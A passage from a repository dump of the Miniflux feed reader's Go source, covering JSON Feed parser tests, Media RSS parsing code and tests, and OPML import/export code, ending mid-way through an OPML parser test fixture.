[\n\t\t\t{\n\t\t\t\t\"title\": \"I’m riding my electric bike and came across this castle. It’s called “Schloss Richmond”. 🚴‍♂️\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Title) != 110 {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n\n\tif len([]rune(feed.Entries[0].Title)) != 93 {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemTitleWithXMLTags(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"title\": \"</example>\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Title != \"</example>\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemHashPrefersIDOverURL(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"Example\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"id-value\",\n\t\t\t\t\"url\": \"https://example.org/article\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := sha256.Sum256([]byte(\"id-value\"))\n\tif feed.Entries[0].Hash != hex.EncodeToString(expected[:]) {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n}\n\nfunc TestParseItemHashUsesURLWhenNoID(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"Example\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"url\": \"https://example.org/article\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := sha256.Sum256([]byte(\"https://example.org/article\"))\n\tif feed.Entries[0].Hash != hex.EncodeToString(expected[:]) {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n}\n\nfunc TestParseItemHashUsesExternalURLFallback(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"Example\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"external_url\": \"https://example.org/external\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\texpected := sha256.Sum256([]byte(\"https://example.org/external\"))\n\tif feed.Entries[0].Hash != hex.EncodeToString(expected[:]) {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n}\n\nfunc TestParseItemHashFallsBackToContent(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"Example\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"content_text\": \"Text\",\n\t\t\t\t\"content_html\": \"<p>HTML</p>\",\n\t\t\t\t\"summary\": \"Summary\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := sha256.Sum256([]byte(\"Text<p>HTML</p>Summary\"))\n\tif feed.Entries[0].Hash != hex.EncodeToString(expected[:]) {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n}\n\nfunc TestParseItemTags(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"user_comment\": \"This is a microblog feed. You can add this to your feed reader using the following URL: https://example.org/feed.json\",\n\t\t\"title\": \"Brent Simmons’s Microblog\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"author\": {\n\t\t\t\"name\": \"Brent Simmons\",\n\t\t\t\"url\": \"http://example.org/\",\n\t\t\t\"avatar\": \"https://example.org/avatar.png\"\n\t\t},\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2347259\",\n\t\t\t\t\"url\": \"https://example.org/2347259\",\n\t\t\t\t\"content_text\": \"Cats are neat. \\n\\nhttps://example.org/cats\",\n\t\t\t\t\"date_published\": \"2016-02-09T14:22:00-07:00\",\n\t\t\t\t\"tags\": [\n\t\t\t\t\t\" tag 1\",\n\t\t\t\t\t\" \",\n\t\t\t\t\t\"tag 2\",\n\t\t\t\t\t\"tag 2\",\n\t\t\t\t\t\"aaa\"\n\t\t\t\t]\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Tags) != 3 {\n\t\tt.Errorf(\"Incorrect number of Tags, got: %d\", len(feed.Entries[0].Tags))\n\t}\n\n\texpected := []string{\"aaa\", \"tag 1\", \"tag 2\"}\n\tfor i, tag := range feed.Entries[0].Tags {\n\t\tif tag != expected[i] {\n\t\t\tt.Errorf(\"Incorrect entry tag, got %q instead of %q\", tag, expected[i])\n\t\t}\n\t}\n}\n\nfunc TestParseFeedFavicon(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"favicon\": \"https://example.org/jsonfeed/favicon.png\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2\",\n\t\t\t\t\"content_text\": \"This is a second item.\",\n\t\t\t\t\"url\": \"https://example.org/second-item\"\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"id\": \"1\",\n\t\t\t\t\"content_html\": \"<p>Hello, world!</p>\",\n\t\t\t\t\"url\": \"https://example.org/initial-post\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif feed.IconURL != \"https://example.org/jsonfeed/favicon.png\" {\n\t\tt.Errorf(\"Incorrect icon URL, got: %s\", feed.IconURL)\n\t}\n}\n\nfunc TestParseFeedIcon(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"icon\": \"https://example.org/jsonfeed/icon.png\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2\",\n\t\t\t\t\"content_text\": \"This is a second item.\",\n\t\t\t\t\"url\": \"https://example.org/second-item\"\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"id\": \"1\",\n\t\t\t\t\"content_html\": \"<p>Hello, world!</p>\",\n\t\t\t\t\"url\": \"https://example.org/initial-post\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif feed.IconURL != \"https://example.org/jsonfeed/icon.png\" {\n\t\tt.Errorf(\"Incorrect icon URL, got: %s\", feed.IconURL)\n\t}\n}\n\nfunc TestParseFeedWithRelativeAttachmentURL(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2\",\n\t\t\t\t\"content_text\": \"This is a second item.\",\n\t\t\t\t\"url\": \"https://example.org/second-item\",\n\t\t\t\t\"attachments\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"url\": \"   /attachment.mp3  \",\n\t\t\t\t\t\t\"mime_type\": \"audio/mpeg\",\n\t\t\t\t\t\t\"size_in_bytes\": 123456\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 1 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\tif feed.Entries[0].Enclosures[0].URL != \"https://example.org/attachment.mp3\" {\n\t\tt.Errorf(\"Incorrect enclosure URL, got: %q\", feed.Entries[0].Enclosures[0].URL)\n\t}\n}\n\nfunc TestParseInvalidJSON(t *testing.T) {\n\tdata := `garbage`\n\t_, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err == nil {\n\t\tt.Error(\"Parse should returns an error\")\n\t}\n}\n\nfunc TestParseNullJSONFeed(t *testing.T) {\n\tdata := `null`\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error when parsing null feed: %v\", err)\n\t}\n\n\tif feed == nil {\n\t\tt.Fatalf(\"Feed should not be nil\")\n\t}\n}\n"
  },
  {
    "path": "internal/reader/media/media.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage media // import \"miniflux.app/v2/internal/reader/media\"\n\nimport (\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nvar textLinkRegex = regexp.MustCompile(`(?mi)(\\bhttps?://[^\\s]+)`)\n\n// Specs: https://www.rssboard.org/media-rss\ntype MediaItemElement struct {\n\tMediaCategories   MediaCategoryList `xml:\"http://search.yahoo.com/mrss/ category\"`\n\tMediaGroups       []Group           `xml:\"http://search.yahoo.com/mrss/ group\"`\n\tMediaContents     []Content         `xml:\"http://search.yahoo.com/mrss/ content\"`\n\tMediaThumbnails   []Thumbnail       `xml:\"http://search.yahoo.com/mrss/ thumbnail\"`\n\tMediaDescriptions DescriptionList   `xml:\"http://search.yahoo.com/mrss/ description\"`\n\tMediaPeerLinks    []PeerLink        `xml:\"http://search.yahoo.com/mrss/ peerLink\"`\n}\n\n// AllMediaThumbnails returns all thumbnail elements merged together.\nfunc (e *MediaItemElement) AllMediaThumbnails() []Thumbnail {\n\titems := make([]Thumbnail, 0, len(e.MediaThumbnails)+len(e.MediaGroups))\n\titems = append(items, e.MediaThumbnails...)\n\tfor _, mediaGroup := range e.MediaGroups {\n\t\titems = append(items, mediaGroup.MediaThumbnails...)\n\t}\n\treturn items\n}\n\n// AllMediaContents returns all content elements merged together.\nfunc (e *MediaItemElement) AllMediaContents() []Content {\n\titems := make([]Content, 0, len(e.MediaContents)+len(e.MediaGroups))\n\titems = append(items, e.MediaContents...)\n\tfor _, mediaGroup := range e.MediaGroups {\n\t\titems = append(items, mediaGroup.MediaContents...)\n\t}\n\treturn items\n}\n\n// AllMediaPeerLinks returns all peer link elements merged together.\nfunc (e *MediaItemElement) AllMediaPeerLinks() []PeerLink {\n\titems := make([]PeerLink, 0, len(e.MediaPeerLinks)+len(e.MediaGroups))\n\titems = append(items, e.MediaPeerLinks...)\n\tfor _, mediaGroup := range e.MediaGroups {\n\t\titems = append(items, mediaGroup.MediaPeerLinks...)\n\t}\n\treturn items\n}\n\n// FirstMediaDescription returns the first description element.\nfunc (e *MediaItemElement) FirstMediaDescription() string {\n\tdescription := e.MediaDescriptions.First()\n\tif description != \"\" {\n\t\treturn description\n\t}\n\n\tfor _, mediaGroup := range e.MediaGroups {\n\t\tdescription = mediaGroup.MediaDescriptions.First()\n\t\tif description != \"\" {\n\t\t\treturn description\n\t\t}\n\t}\n\n\treturn \"\"\n}\n\n// Group represents a XML element \"media:group\".\ntype Group struct {\n\tMediaContents     []Content       `xml:\"http://search.yahoo.com/mrss/ content\"`\n\tMediaThumbnails   []Thumbnail     `xml:\"http://search.yahoo.com/mrss/ thumbnail\"`\n\tMediaDescriptions DescriptionList `xml:\"http://search.yahoo.com/mrss/ description\"`\n\tMediaPeerLinks    []PeerLink      `xml:\"http://search.yahoo.com/mrss/ peerLink\"`\n}\n\n// Content represents a XML element \"media:content\".\ntype Content struct {\n\tURL      string `xml:\"url,attr\"`\n\tType     string `xml:\"type,attr\"`\n\tFileSize string `xml:\"fileSize,attr\"`\n\tMedium   string `xml:\"medium,attr\"`\n}\n\n// MimeType returns the attachment mime type.\nfunc (mc *Content) MimeType() string {\n\tif mc.Type != \"\" {\n\t\treturn mc.Type\n\t}\n\n\tswitch mc.Medium {\n\tcase \"image\":\n\t\treturn \"image/*\"\n\tcase \"video\":\n\t\treturn \"video/*\"\n\tcase \"audio\":\n\t\treturn \"audio/*\"\n\tdefault:\n\t\treturn \"application/octet-stream\"\n\t}\n}\n\n// Size returns the attachment size.\nfunc (mc *Content) Size() int64 {\n\tsize, _ := strconv.ParseInt(mc.FileSize, 10, 0)\n\treturn size\n}\n\n// Thumbnail represents a XML element \"media:thumbnail\".\ntype Thumbnail struct {\n\tURL string `xml:\"url,attr\"`\n}\n\n// MimeType returns the attachment mime type.\nfunc (t *Thumbnail) MimeType() string {\n\treturn \"image/*\"\n}\n\n// Size returns the attachment size.\nfunc (t *Thumbnail) Size() int64 {\n\treturn 0\n}\n\n// PeerLink represents a XML element \"media:peerLink\".\ntype PeerLink struct {\n\tURL  string `xml:\"href,attr\"`\n\tType string `xml:\"type,attr\"`\n}\n\n// MimeType returns the attachment mime type.\nfunc (p *PeerLink) MimeType() string {\n\tif p.Type != \"\" {\n\t\treturn p.Type\n\t}\n\treturn \"application/octet-stream\"\n}\n\n// Size returns the attachment size.\nfunc (p *PeerLink) Size() int64 {\n\treturn 0\n}\n\n// Description represents a XML element \"media:description\".\ntype Description struct {\n\tType        string `xml:\"type,attr\"`\n\tDescription string `xml:\",chardata\"`\n}\n\n// HTML returns the description as HTML.\nfunc (d *Description) HTML() string {\n\tif d.Type == \"html\" {\n\t\treturn d.Description\n\t}\n\n\tcontent := textLinkRegex.ReplaceAllString(d.Description, `<a href=\"${1}\">${1}</a>`)\n\treturn strings.ReplaceAll(content, \"\\n\", \"<br>\")\n}\n\n// DescriptionList represents a list of \"media:description\" XML elements.\ntype DescriptionList []Description\n\n// First returns the first non-empty description.\nfunc (dl DescriptionList) First() string {\n\tfor _, description := range dl {\n\t\tcontents := description.HTML()\n\t\tif contents != \"\" {\n\t\t\treturn contents\n\t\t}\n\t}\n\treturn \"\"\n}\n\ntype MediaCategoryList []MediaCategory\n\nfunc (mcl MediaCategoryList) Labels() []string {\n\tvar labels []string\n\tfor _, category := range mcl {\n\t\tlabel := strings.TrimSpace(category.Label)\n\t\tif label != \"\" {\n\t\t\tlabels = append(labels, label)\n\t\t}\n\t}\n\treturn labels\n}\n\ntype MediaCategory struct {\n\tLabel string `xml:\"label,attr\"`\n}\n"
  },
  {
    "path": "internal/reader/media/media_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage media // import \"miniflux.app/v2/internal/reader/media\"\n\nimport \"testing\"\n\nfunc TestContentMimeType(t *testing.T) {\n\tscenarios := []struct {\n\t\tinputType, inputMedium, expectedMimeType string\n\t}{\n\t\t{\"image/png\", \"image\", \"image/png\"},\n\t\t{\"\", \"image\", \"image/*\"},\n\t\t{\"\", \"video\", \"video/*\"},\n\t\t{\"\", \"audio\", \"audio/*\"},\n\t\t{\"\", \"\", \"application/octet-stream\"},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tcontent := &Content{Type: scenario.inputType, Medium: scenario.inputMedium}\n\t\tresult := content.MimeType()\n\t\tif result != scenario.expectedMimeType {\n\t\t\tt.Errorf(`Unexpected mime type, got %q instead of %q for type=%q medium=%q`,\n\t\t\t\tresult,\n\t\t\t\tscenario.expectedMimeType,\n\t\t\t\tscenario.inputType,\n\t\t\t\tscenario.inputMedium,\n\t\t\t)\n\t\t}\n\t}\n}\n\nfunc TestContentSize(t *testing.T) {\n\tscenarios := []struct {\n\t\tinputSize    string\n\t\texpectedSize int64\n\t}{\n\t\t{\"\", 0},\n\t\t{\"123\", int64(123)},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tcontent := &Content{FileSize: scenario.inputSize}\n\t\tresult := content.Size()\n\t\tif result != scenario.expectedSize {\n\t\t\tt.Errorf(`Unexpected size, got %d instead of %d for %q`,\n\t\t\t\tresult,\n\t\t\t\tscenario.expectedSize,\n\t\t\t\tscenario.inputSize,\n\t\t\t)\n\t\t}\n\t}\n}\n\nfunc TestPeerLinkType(t *testing.T) {\n\tscenarios := []struct {\n\t\tinputType        string\n\t\texpectedMimeType string\n\t}{\n\t\t{\"\", \"application/octet-stream\"},\n\t\t{\"application/x-bittorrent\", \"application/x-bittorrent\"},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tpeerLink := &PeerLink{Type: scenario.inputType}\n\t\tresult := peerLink.MimeType()\n\t\tif result != scenario.expectedMimeType {\n\t\t\tt.Errorf(`Unexpected mime type, got %q instead of %q for %q`,\n\t\t\t\tresult,\n\t\t\t\tscenario.expectedMimeType,\n\t\t\t\tscenario.inputType,\n\t\t\t)\n\t\t}\n\t}\n}\n\nfunc TestDescription(t *testing.T) {\n\tscenarios := []struct {\n\t\tinputType           string\n\t\tinputContent        string\n\t\texpectedDescription string\n\t}{\n\t\t{\"\", \"\", \"\"},\n\t\t{\"html\", \"a <b>c</b>\", \"a <b>c</b>\"},\n\t\t{\"plain\", \"a\\nhttp://www.example.org/\", `a<br><a href=\"http://www.example.org/\">http://www.example.org/</a>`},\n\t\t{\"plain\", \"Link: https://example.com/path\\n\\nAnother: https://example.org\",\n\t\t\t`Link: <a href=\"https://example.com/path\">https://example.com/path</a><br><br>Another: <a href=\"https://example.org\">https://example.org</a>`},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tdesc := &Description{Type: scenario.inputType, Description: scenario.inputContent}\n\t\tresult := desc.HTML()\n\t\tif result != scenario.expectedDescription {\n\t\t\tt.Errorf(`Unexpected description, got %q instead of %q for %q`,\n\t\t\t\tresult,\n\t\t\t\tscenario.expectedDescription,\n\t\t\t\tscenario.inputType,\n\t\t\t)\n\t\t}\n\t}\n}\n\nfunc TestFirstDescription(t *testing.T) {\n\tvar descList DescriptionList\n\tdescList = append(descList, Description{})\n\tdescList = append(descList, Description{Description: \"Something\"})\n\n\tif descList.First() != \"Something\" {\n\t\tt.Errorf(`Unexpected description`)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/opml/handler.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage opml // import \"miniflux.app/v2/internal/reader/opml\"\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\n// Handler handles the logic for OPML import/export.\ntype Handler struct {\n\tstore *storage.Storage\n}\n\n// Export exports user feeds to OPML.\nfunc (h *Handler) Export(userID int64) (string, error) {\n\tfeeds, err := h.store.Feeds(userID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsubscriptions := make([]subcription, 0, len(feeds))\n\tfor _, feed := range feeds {\n\t\tsubscriptions = append(subscriptions, subcription{\n\t\t\tTitle:        feed.Title,\n\t\t\tFeedURL:      feed.FeedURL,\n\t\t\tSiteURL:      feed.SiteURL,\n\t\t\tDescription:  feed.Description,\n\t\t\tCategoryName: feed.Category.Title,\n\t\t})\n\t}\n\n\treturn serialize(subscriptions), nil\n}\n\n// Import parses and create feeds from an OPML import.\nfunc (h *Handler) Import(userID int64, data io.Reader) error {\n\tsubscriptions, err := parse(data)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, subscription := range subscriptions {\n\t\tif !h.store.FeedURLExists(userID, subscription.FeedURL) {\n\t\t\tvar category *model.Category\n\t\t\tvar err error\n\n\t\t\tif subscription.CategoryName == \"\" {\n\t\t\t\tcategory, err = h.store.FirstCategory(userID)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"opml: unable to find first category: %w\", err)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcategory, err = h.store.CategoryByTitle(userID, subscription.CategoryName)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"opml: unable to search category by title: %w\", err)\n\t\t\t\t}\n\n\t\t\t\tif category == nil {\n\t\t\t\t\tcategory, err = h.store.CreateCategory(userID, &model.CategoryCreationRequest{Title: subscription.CategoryName})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn fmt.Errorf(`opml: unable to create this category: %q`, subscription.CategoryName)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfeed := &model.Feed{\n\t\t\t\tUserID:      userID,\n\t\t\t\tTitle:       subscription.Title,\n\t\t\t\tFeedURL:     subscription.FeedURL,\n\t\t\t\tSiteURL:     subscription.SiteURL,\n\t\t\t\tDescription: subscription.Description,\n\t\t\t\tCategory:    category,\n\t\t\t}\n\n\t\t\tif err := h.store.CreateFeed(feed); err != nil {\n\t\t\t\treturn fmt.Errorf(`opml: unable to create this feed: %q`, subscription.FeedURL)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// NewHandler creates a new handler for OPML files.\nfunc NewHandler(store *storage.Storage) *Handler {\n\treturn &Handler{store: store}\n}\n"
  },
  {
    "path": "internal/reader/opml/opml.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage opml // import \"miniflux.app/v2/internal/reader/opml\"\n\nimport (\n\t\"encoding/xml\"\n\t\"strings\"\n)\n\n// Specs: http://opml.org/spec2.opml\ntype opmlDocument struct {\n\tXMLName  xml.Name              `xml:\"opml\"`\n\tVersion  string                `xml:\"version,attr\"`\n\tHeader   opmlHeader            `xml:\"head\"`\n\tOutlines opmlOutlineCollection `xml:\"body>outline\"`\n}\n\ntype opmlHeader struct {\n\tTitle       string `xml:\"title,omitempty\"`\n\tDateCreated string `xml:\"dateCreated,omitempty\"`\n\tOwnerName   string `xml:\"ownerName,omitempty\"`\n}\n\ntype opmlOutline struct {\n\tTitle       string                `xml:\"title,attr,omitempty\"`\n\tText        string                `xml:\"text,attr\"`\n\tFeedURL     string                `xml:\"xmlUrl,attr,omitempty\"`\n\tSiteURL     string                `xml:\"htmlUrl,attr,omitempty\"`\n\tDescription string                `xml:\"description,attr,omitempty\"`\n\tOutlines    opmlOutlineCollection `xml:\"outline,omitempty\"`\n}\n\nfunc (o opmlOutline) MarshalXML(e *xml.Encoder, start xml.StartElement) error {\n\ttype opmlOutlineXml opmlOutline\n\n\toutlineType := \"\"\n\tif o.IsSubscription() {\n\t\toutlineType = \"rss\"\n\t}\n\n\treturn e.EncodeElement(struct {\n\t\topmlOutlineXml\n\t\tType string `xml:\"type,attr,omitempty\"`\n\t}{\n\t\topmlOutlineXml: opmlOutlineXml(o),\n\t\tType:           outlineType,\n\t}, start)\n}\n\nfunc (o opmlOutline) IsSubscription() bool {\n\treturn strings.TrimSpace(o.FeedURL) != \"\"\n}\n\nfunc (o opmlOutline) GetTitle() string {\n\tif o.Title != \"\" {\n\t\treturn o.Title\n\t}\n\n\tif o.Text != \"\" {\n\t\treturn o.Text\n\t}\n\n\tif o.SiteURL != \"\" {\n\t\treturn o.SiteURL\n\t}\n\n\tif o.FeedURL != \"\" {\n\t\treturn o.FeedURL\n\t}\n\n\treturn \"\"\n}\n\nfunc (o opmlOutline) GetSiteURL() string {\n\tif o.SiteURL != \"\" {\n\t\treturn o.SiteURL\n\t}\n\n\treturn o.FeedURL\n}\n\ntype opmlOutlineCollection []opmlOutline\n\nfunc (o opmlOutlineCollection) HasChildren() bool {\n\treturn len(o) > 0\n}\n"
  },
  {
    "path": "internal/reader/opml/parser.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage opml // import \"miniflux.app/v2/internal/reader/opml\"\n\nimport (\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"io\"\n\n\t\"miniflux.app/v2/internal/reader/encoding\"\n)\n\n// parse reads an OPML file and returns a list of subscription.\nfunc parse(data io.Reader) ([]subcription, error) {\n\topmlDocument := &opmlDocument{}\n\tdecoder := xml.NewDecoder(data)\n\tdecoder.Entity = xml.HTMLEntity\n\tdecoder.Strict = false\n\tdecoder.CharsetReader = encoding.CharsetReader\n\n\terr := decoder.Decode(opmlDocument)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"opml: unable to parse document: %w\", err)\n\t}\n\n\treturn getSubscriptionsFromOutlines(opmlDocument.Outlines, \"\"), nil\n}\n\nfunc getSubscriptionsFromOutlines(outlines opmlOutlineCollection, category string) []subcription {\n\tsubscriptions := make([]subcription, 0, len(outlines))\n\n\tfor _, outline := range outlines {\n\t\tif outline.IsSubscription() {\n\t\t\tsubscriptions = append(subscriptions, subcription{\n\t\t\t\tTitle:        outline.GetTitle(),\n\t\t\t\tFeedURL:      outline.FeedURL,\n\t\t\t\tSiteURL:      outline.GetSiteURL(),\n\t\t\t\tDescription:  outline.Description,\n\t\t\t\tCategoryName: category,\n\t\t\t})\n\t\t} else if outline.Outlines.HasChildren() {\n\t\t\tsubscriptions = append(subscriptions, getSubscriptionsFromOutlines(outline.Outlines, outline.GetTitle())...)\n\t\t}\n\t}\n\treturn subscriptions\n}\n"
  },
  {
    "path": "internal/reader/opml/parser_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage opml // import \"miniflux.app/v2/internal/reader/opml\"\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n)\n\n// equals compare two subscriptions.\nfunc (s subcription) equals(subscription subcription) bool {\n\treturn s.Title == subscription.Title && s.SiteURL == subscription.SiteURL &&\n\t\ts.FeedURL == subscription.FeedURL && s.CategoryName == subscription.CategoryName &&\n\t\ts.Description == subscription.Description\n}\n\nfunc TestParseOpmlWithoutCategories(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n\t<opml version=\"2.0\">\n\t\t<head>\n\t\t\t<title>mySubscriptions.opml</title>\n\t\t</head>\n\t\t<body>\n\t\t\t<outline text=\"CNET News.com\" description=\"Tech news and business reports by CNET News.com. Focused on information technology, core topics include computers, hardware, software, networking, and Internet media.\" htmlUrl=\"http://news.com.com/\" language=\"unknown\" title=\"CNET News.com\" type=\"rss\" version=\"RSS2\" xmlUrl=\"http://news.com.com/2547-1_3-0-5.xml\"/>\n\t\t\t<outline text=\"washingtonpost.com - Politics\" description=\"Politics\" htmlUrl=\"http://www.washingtonpost.com/wp-dyn/politics?nav=rss_politics\" language=\"unknown\" title=\"washingtonpost.com - Politics\" type=\"rss\" version=\"RSS2\" xmlUrl=\"http://www.washingtonpost.com/wp-srv/politics/rssheadlines.xml\"/>\n\t\t\t<outline text=\"Scobleizer: Microsoft Geek Blogger\" description=\"Robert Scoble's look at geek and Microsoft life.\" htmlUrl=\"http://radio.weblogs.com/0001011/\" language=\"unknown\" title=\"Scobleizer: Microsoft Geek Blogger\" type=\"rss\" version=\"RSS2\" xmlUrl=\"http://radio.weblogs.com/0001011/rss.xml\"/>\n\t\t\t<outline text=\"Yahoo! News: Technology\" description=\"Technology\" htmlUrl=\"http://news.yahoo.com/news?tmpl=index&amp;cid=738\" language=\"unknown\" title=\"Yahoo! News: Technology\" type=\"rss\" version=\"RSS2\" xmlUrl=\"http://rss.news.yahoo.com/rss/tech\"/>\n\t\t\t<outline 